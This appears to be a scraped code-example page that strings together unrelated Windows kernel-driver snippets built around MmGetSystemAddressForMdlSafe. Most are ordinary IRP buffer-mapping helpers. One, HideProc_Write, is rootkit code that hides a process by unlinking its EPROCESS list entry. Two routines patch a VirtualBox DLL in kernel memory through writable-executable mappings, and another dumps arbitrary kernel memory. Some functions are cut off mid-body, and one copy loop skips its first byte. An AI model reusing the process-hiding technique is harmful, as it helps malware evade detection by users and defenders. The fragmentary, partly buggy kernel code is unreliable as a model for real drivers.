C++ MmGetSystemAddressForMdlSafe函数代码示例

NTSTATUS DumpKernelMemory(PVOID DstAddr, PVOID SrcAddr, ULONG Size)
{
    PMDL  pSrcMdl, pDstMdl;
    PUCHAR pAddress, pDstAddress;
    NTSTATUS st = STATUS_UNSUCCESSFUL;
    ULONG r;

	// Создаем MDL для буфера-источника
    pSrcMdl = IoAllocateMdl(SrcAddr, Size, FALSE, FALSE, NULL);

	if (pSrcMdl)
	{
		// Построение MDL
		MmBuildMdlForNonPagedPool(pSrcMdl);
		// Получение адреса из MDL
		pAddress = (PUCHAR)MmGetSystemAddressForMdlSafe(pSrcMdl, NormalPagePriority);
		zDbgPrint("pAddress = %x", pAddress);
		if (pAddress != NULL)
		{
			pDstMdl = IoAllocateMdl(DstAddr, Size, FALSE, FALSE, NULL);
			zDbgPrint("pDstMdl = %x", pDstMdl);
			if (pDstMdl != NULL)
			{
				__try
				{
					MmProbeAndLockPages(pDstMdl, KernelMode, IoWriteAccess);
					pDstAddress = (PUCHAR)MmGetSystemAddressForMdlSafe(pDstMdl, NormalPagePriority);
					zDbgPrint("pDstAddress = %x", pDstAddress);
					if (pDstAddress != NULL)
					{
						memset(pDstAddress, 0, Size);
						zDbgPrint("Copy block");
						for (r = 1; r < Size; r++)
						{
							if (MmIsAddressValid(pAddress)) 
								*pDstAddress = *pAddress;
							else
								*pDstAddress = 0;
							pAddress++;
							pDstAddress++;
						}

						st = STATUS_SUCCESS;
					}

					MmUnlockPages(pDstMdl);
				}
				__except(EXCEPTION_EXECUTE_HANDLER)
				{    
					zDbgPrint("Copy block exception");
				}
				IoFreeMdl(pDstMdl);
			}
		}            

/*
 * --------------------------------------------------------------------------
 *  Utility function to map the output buffer in an IRP. The buffer is assumed
 *  to have been passed down using METHOD_OUT_DIRECT (Direct I/O).
 * --------------------------------------------------------------------------
 */
static NTSTATUS
MapIrpOutputBuffer(PIRP irp,
                   UINT32 bufferLength,
                   UINT32 requiredLength,
                   PVOID *buffer)
{
    ASSERT(irp);
    ASSERT(buffer);
    ASSERT(bufferLength);
    ASSERT(requiredLength);
    if (!buffer || !irp || bufferLength == 0 || requiredLength == 0) {
        return STATUS_INVALID_PARAMETER;
    }

    if (bufferLength < requiredLength) {
        return STATUS_NDIS_INVALID_LENGTH;
    }
    if (irp->MdlAddress == NULL) {
        return STATUS_INVALID_PARAMETER;
    }
    *buffer = MmGetSystemAddressForMdlSafe(irp->MdlAddress,
                                           NormalPagePriority);
    if (*buffer == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    return STATUS_SUCCESS;
}

NTSTATUS WriteDirectIn(IN PIRP pIrp,ULONG inSize,ULONG outSize)
{
	KdPrint(("WriteDirectIn begin\n"));
	NTSTATUS status = STATUS_SUCCESS;

	//获取用户层传入的 输入缓冲区的地址
	PVOID lp_input_buffer=pIrp->AssociatedIrp.SystemBuffer,
		lp_output_buffer=NULL;

	//如果传入了输出缓冲区
	if(pIrp->MdlAddress)
	{
		//锁定输出缓冲区 并映射到内核以供 驱动使用
		lp_output_buffer=MmGetSystemAddressForMdlSafe(pIrp->MdlAddress,NormalPagePriority );
	}

	KdPrint(("WriteDirectIn inSize=%d outSize=%d %S\n",inSize,outSize,(WCHAR*)lp_input_buffer));
	
	UNICODE_STRING unicode_string;
	RtlInitUnicodeString(&unicode_string,L"写入数据成功");
	if(lp_output_buffer)
	{
		RtlCopyMemory(lp_output_buffer,unicode_string.Buffer,unicode_string.Length);
	}
	
	pIrp->IoStatus.Information=unicode_string.Length;

	KdPrint(("WriteDirectIn end\n"));

	return status;
}

NTSTATUS ReadDirectOut(IN PIRP pIrp,ULONG inSize,ULONG outSize)
{
	KdPrint(("ReadDirectOut begin\n"));
	NTSTATUS status = STATUS_SUCCESS;

	
	PVOID lp_output_buffer=NULL;

	//如果传入了输出缓冲区
	if(pIrp->MdlAddress)
	{
		//锁定输出缓冲区 并映射到内核以供 驱动使用
		lp_output_buffer=MmGetSystemAddressForMdlSafe(pIrp->MdlAddress,NormalPagePriority );

		KdPrint(("ReadDirectOut inSize=%d outSize=%d\n",inSize,outSize));
	
		UNICODE_STRING unicode_string;
		RtlInitUnicodeString(&unicode_string,L"读取数据成功");
		RtlCopyMemory(lp_output_buffer,unicode_string.Buffer,unicode_string.Length);
		
		pIrp->IoStatus.Information=unicode_string.Length;

		KdPrint(("ReadDirectOut end\n"));

	}

	return status;
}

PVOID
xixfs_GetCallersBuffer(
	PIRP PtrIrp
)
{

	PVOID ReturnedBuffer = NULL;
	
	PAGED_CODE();
	DebugTrace(DEBUG_LEVEL_TRACE, (DEBUG_TARGET_READ|DEBUG_TARGET_WRITE),
		("Enter xixfs_GetCallersBuffer\n"));

	
	// If an MDL is supplied, use it.
	if (PtrIrp->MdlAddress) {
		ReturnedBuffer = MmGetSystemAddressForMdlSafe(PtrIrp->MdlAddress, NormalPagePriority);
	} else {
		ReturnedBuffer = PtrIrp->UserBuffer;
	}

	

	DebugTrace(DEBUG_LEVEL_TRACE, (DEBUG_TARGET_READ|DEBUG_TARGET_WRITE),
		("Exit xixfs_GetCallersBuffer\n"));
	return(ReturnedBuffer);
}

/*
* TsmiHandleMemWrite
*
* Purpose:
*
* Patch vbox dll in memory.
*
* Warning: potential BSOD-generator due to nonstandard way of loading, take care with patch offsets.
*
*/
NTSTATUS TsmiHandleMemWrite(
    _In_ PVOID SrcAddress,
    _In_ PVOID DestAddress,
    _In_ ULONG Size
)
{
    PMDL        mdl;
    NTSTATUS    status = STATUS_SUCCESS;

    PAGED_CODE();

    mdl = IoAllocateMdl(DestAddress, Size, FALSE, FALSE, NULL);
    if (mdl == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    if (DestAddress >= MmSystemRangeStart)
        if (!MmIsAddressValid(DestAddress)) {
            return STATUS_ACCESS_VIOLATION;
        }
    MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
    DestAddress = MmGetSystemAddressForMdlSafe(mdl, HighPagePriority);
    if (DestAddress != NULL) {
        status = MmProtectMdlSystemAddress(mdl, PAGE_EXECUTE_READWRITE);
        __movsb((PUCHAR)DestAddress, (const UCHAR *)SrcAddress, Size);
        MmUnmapLockedPages(DestAddress, mdl);
        MmUnlockPages(mdl);
    }
    else {
        status = STATUS_ACCESS_VIOLATION;
    }

    IoFreeMdl(mdl);
    return status;
}

PVOID
FuseMapUserBuffer (
    IN OUT PIRP Irp
    )
{
    //
    // If there is no Mdl, then we must be in the Fsd, and we can simply
    // return the UserBuffer field from the Irp.
    //

    if (Irp->MdlAddress == NULL) {

        return Irp->UserBuffer;
    
    } else {

        PVOID Address = MmGetSystemAddressForMdlSafe( Irp->MdlAddress, NormalPagePriority );

        if (Address == NULL) {

            ExRaiseStatus( STATUS_INSUFFICIENT_RESOURCES );
        }

        return Address;
    }
}

static VOID
SerialGetUserBuffers(
	IN PIRP Irp,
	IN ULONG IoControlCode,
	OUT PVOID* BufferIn,
	OUT PVOID* BufferOut)
{
	ASSERT(Irp);
	ASSERT(BufferIn);
	ASSERT(BufferOut);

	switch (IO_METHOD_FROM_CTL_CODE(IoControlCode))
	{
		case METHOD_BUFFERED:
			*BufferIn = *BufferOut = Irp->AssociatedIrp.SystemBuffer;
			break;
		case METHOD_IN_DIRECT:
		case METHOD_OUT_DIRECT:
			*BufferIn = Irp->AssociatedIrp.SystemBuffer;
			*BufferOut = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);
			break;
		case METHOD_NEITHER:
			*BufferIn = IoGetCurrentIrpStackLocation(Irp)->Parameters.DeviceIoControl.Type3InputBuffer;
			*BufferOut = Irp->UserBuffer;
			break;
		default:
			/* Should never happen */
			*BufferIn = NULL;
			*BufferOut = NULL;
			break;
	}
}

//
//	Substitute for MmGetSystemAddressForMdlSafe
//	for NT 4.0 DDK does not provide its equivqlent
//	originally written by Bruce Engle for filedisk
//
static PVOID
MmGetSystemAddressForMdlPrettySafe(
	IN PMDL						Mdl,
	IN MM_PAGE_PRIORITY			Priority)
{
#if (VER_PRODUCTBUILD >= 2195)
	if (OsMajorVersion >= 5) {
		return MmGetSystemAddressForMdlSafe(Mdl, Priority);
	}
	else {
#endif	// (VER_PRODUCTBUILD >= 2195)
		CSHORT	MdlMappingCanFail;
		PVOID	MappedSystemVa;

		MdlMappingCanFail = (CSHORT)(Mdl->MdlFlags & MDL_MAPPING_CAN_FAIL);

		Mdl->MdlFlags |= MDL_MAPPING_CAN_FAIL;

		MappedSystemVa = MmGetSystemAddressForMdl(Mdl);

		if (!MdlMappingCanFail) {
			Mdl->MdlFlags &= ~MDL_MAPPING_CAN_FAIL;
		}

		return MappedSystemVa;
#if (VER_PRODUCTBUILD >= 2195)
	}
#endif	// (VER_PRODUCTBUILD >= 2195)
}

NTSTATUS HideProc_Write(PDEVICE_OBJECT DeviceObject, PIRP Irp){
	NTSTATUS NtStatus = STATUS_INVALID_PARAMETER;
	PIO_STACK_LOCATION pIoStackIrp = NULL;
	UINT dwDataWritten = 0;
	ULONG dwEProcAddr;
	PLIST_ENTRY pListProcs;
	PEPROCESS pEProc;
	
	hpstruct *hps;
	
	DbgPrint("HideProc_Write Called\n");
	pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
	
	if(pIoStackIrp && Irp->MdlAddress){
		hps = (hpstruct *)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);
		if(hps){
			if(pIoStackIrp->Parameters.Write.Length == sizeof(hpstruct)){
				if(PsLookupProcessByProcessId((PVOID)hps->uPid, &pEProc) == STATUS_SUCCESS){
					DbgPrint("EPROCESS found. Address: %08lX.\n", pEProc);
					DbgPrint("Now hiding process %d...\n", hps->uPid);
					dwEProcAddr = (ULONG) pEProc;
					__try{
						pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps->uFlinkOffset);
						*((ULONG*) pListProcs->Blink) = (ULONG) (pListProcs->Flink);   //set flink of prev proc to flink of cur proc
						*((ULONG*) pListProcs->Flink+1) = (ULONG) (pListProcs->Blink); //set blink of next proc to blink of cur proc
						pListProcs->Flink = (PLIST_ENTRY) &(pListProcs->Flink); //set flink and blink of cur proc to themselves
						pListProcs->Blink = (PLIST_ENTRY) &(pListProcs->Flink); //otherwise might bsod when exiting process
						DbgPrint("Process now hidden.\n");
					}__except(EXCEPTION_EXECUTE_HANDLER){
						NtStatus = GetExceptionCode();
						DbgPrint("Exception: %d.\n", NtStatus);
					}
					NtStatus = STATUS_SUCCESS;
				}
			}else{

NTSTATUS SafeCopyMemory(PVOID SrcAddr, PVOID DstAddr, ULONG Size)
{
	PMDL  pSrcMdl, pDstMdl;
	PUCHAR pSrcAddress, pDstAddress;
	NTSTATUS st = STATUS_UNSUCCESSFUL;
	ULONG r;
	BOOL bInit = FALSE;

	pSrcMdl = IoAllocateMdl(SrcAddr, Size, FALSE, FALSE, NULL);
	if (MmIsAddressValidEx(pSrcMdl))
	{
		MmBuildMdlForNonPagedPool(pSrcMdl);
		pSrcAddress = (PUCHAR)MmGetSystemAddressForMdlSafe(pSrcMdl, NormalPagePriority);
		if (MmIsAddressValidEx(pSrcAddress))
		{
			pDstMdl = IoAllocateMdl(DstAddr, Size, FALSE, FALSE, NULL);
			if (MmIsAddressValidEx(pDstMdl))
			{
				__try
				{
					MmProbeAndLockPages(pDstMdl, KernelMode, IoWriteAccess);
					pDstAddress = (PUCHAR)MmGetSystemAddressForMdlSafe(pDstMdl, NormalPagePriority);
					if (MmIsAddressValidEx(pDstAddress))
					{
						RtlZeroMemory(pDstAddress,Size);
						RtlCopyMemory(pDstAddress, pSrcAddress, Size);
						st = STATUS_SUCCESS;
					}
					MmUnlockPages(pDstMdl);
				}
				__except(EXCEPTION_EXECUTE_HANDLER)
				{                 
					if (pDstMdl) MmUnlockPages(pDstMdl);

					if (pDstMdl) IoFreeMdl(pDstMdl);

					if (pSrcMdl) IoFreeMdl(pSrcMdl);

					return GetExceptionCode();
				}
				IoFreeMdl(pDstMdl);
			}
		}            
		IoFreeMdl(pSrcMdl);
	}
	return st;
}

NTSTATUS FileRead(__in BASE_FILE * File, __in PIRP Irp,
		  __in PIO_STACK_LOCATION IrpStack)
{
	BASE_DEVICE *Device = BaseFileGetDevice(File);
	DEVICE_DATA *DeviceData = (DEVICE_DATA *) BaseDeviceGetPrivate(Device);
	ULONG Length = IrpStack->Parameters.Read.Length;
	PLIST_ENTRY ListEntry;
	BUFFER_DATA *BufferData = NULL;
	PVOID Buffer;
	NTSTATUS Status = STATUS_SUCCESS;

	PAGED_CODE();

	__try {
		ListEntry =
		    ExInterlockedRemoveHeadList(&DeviceData->BufferList,
						&DeviceData->BufferListLock);
		if (ListEntry == NULL) {
			TRACE_MSG(TRACE_LEVEL_ERROR, TRACE_FLAG_DEFAULT,
				  "No data available\n");
			Status = STATUS_NO_DATA_DETECTED;
			__leave;
		}
		BufferData = CONTAINING_RECORD(ListEntry, BUFFER_DATA,
					       ListEntry);
		if (Length < BufferData->Length) {
			TRACE_MSG(TRACE_LEVEL_ERROR, TRACE_FLAG_DEFAULT,
				  "Buffer too small (len=%u, required=%u)\n",
				  Length, BufferData->Length);
			Status = STATUS_INVALID_BUFFER_SIZE;
			__leave;
		}
		ASSERT(Irp->MdlAddress);
		if (Irp->MdlAddress == NULL) {
			TRACE_MSG(TRACE_LEVEL_ERROR, TRACE_FLAG_DEFAULT,
				  "Null MDL pointer\n");
			Status = STATUS_INVALID_PARAMETER;
			__leave;
		}
		Buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress,
						      NormalPagePriority);
		if (Buffer == NULL) {
			Status = STATUS_INSUFFICIENT_RESOURCES;
			TRACE_ERR("MmGetSystemAddressForMdlSafe", Status);
			__leave;
		}
		TRACE_MSG(TRACE_LEVEL_INFO, TRACE_FLAG_DEFAULT,
			  "Return %u bytes (requested %u bytes)\n",
			  BufferData->Length, Length);
		RtlCopyMemory(Buffer, BufferData->Data, BufferData->Length);
		Irp->IoStatus.Information = BufferData->Length;
	}
	__finally {
		if (BufferData)
			ExFreePoolWithTag(BufferData, SAMPLE_POOL_TAG);
		BaseFileCompleteRequest(File, Irp, Status);
	}
	return Status;
}

void __DestrPacket(OUT PPACKET_BASE pPacket)
{
    if (pPacket->pMdl)
    {
        PVOID Va = MmGetSystemAddressForMdlSafe(pPacket->pMdl, LowPagePriority);
        ExFreePoolWithTag(Va, (ULONG)'TTWH');
        IoFreeMdl(pPacket->pMdl);
    }
}

PVOID
FASTCALL
FatMapUserBuffer(PIRP Irp)
{
    if (!Irp->MdlAddress)
        return Irp->UserBuffer;
    else
        return MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);
}

/*
* TsmiHandleMemWrite
*
* Purpose:
*
* Patch vbox dll in memory.
*
* Warning: If compiled not in ReleaseSigned configuration this function is a
* potential BSOD-generator due to nonstandard way of loading, take care with patch offsets.
*
*/
NTSTATUS TsmiHandleMemWrite(
    _In_ PVOID SrcAddress,
    _In_ PVOID DestAddress,
    _In_ ULONG Size
)
{
    PMDL        mdl;
    NTSTATUS    status = STATUS_SUCCESS;

    PAGED_CODE();

    mdl = IoAllocateMdl(DestAddress, Size, FALSE, FALSE, NULL);
    if (mdl == NULL) {
#ifdef _DEBUGMSG
        DbgPrint("[TSMI] Failed to create MDL at write\n");
#endif
        return STATUS_INSUFFICIENT_RESOURCES;
    }

#ifdef _SIGNED_BUILD
    __try {
#endif //_SIGNED_BUILD

        if (DestAddress >= MmSystemRangeStart)
            if (!MmIsAddressValid(DestAddress)) {
#ifdef _DEBUGMSG
                DbgPrint("[TSMI] Invalid address\n");
#endif //_DEBUGMSG
                return STATUS_ACCESS_VIOLATION;
            }
        MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
        DestAddress = MmGetSystemAddressForMdlSafe(mdl, HighPagePriority);
        if (DestAddress != NULL) {
            status = MmProtectMdlSystemAddress(mdl, PAGE_EXECUTE_READWRITE);
            __movsb((PUCHAR)DestAddress, (const UCHAR *)SrcAddress, Size);
            MmUnmapLockedPages(DestAddress, mdl);
            MmUnlockPages(mdl);
        }
        else {
            status = STATUS_ACCESS_VIOLATION;
        }

#ifdef _SIGNED_BUILD
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        status = STATUS_ACCESS_VIOLATION;
#ifdef _DEBUGMSG
        DbgPrint("[TSMI] MmProbeAndLockPages failed at write DestAddress = %p\n", DestAddress);
#endif //_DEBUGMSG
    }
#endif //_SIGNED_BUILD

    IoFreeMdl(mdl);
    return status;
}